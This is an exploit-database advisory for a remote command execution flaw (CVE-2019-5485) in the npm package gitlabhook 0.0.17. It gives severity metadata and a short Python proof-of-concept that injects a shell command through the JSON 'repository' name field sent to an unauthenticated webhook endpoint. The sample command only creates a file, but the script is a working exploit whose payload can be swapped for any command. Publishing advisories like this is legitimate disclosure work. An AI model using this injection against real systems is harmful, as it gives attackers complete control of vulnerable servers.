NPMJS gitlabhook 0.0.17 repository Remote Command Execution

2019.09.25

Credit: Semen Alexandrovich Lyhin

Risk: High

Local: No

Remote: Yes

CVE: CVE-2019-5485

CWE: CWE-78

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
# Version: 0.0.17
# Tested on: Kali Linux 2, Windows 10. 
# CVE : CVE-2019-5485

#!/usr/bin/python

import requests

target = "http://TARGET:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."

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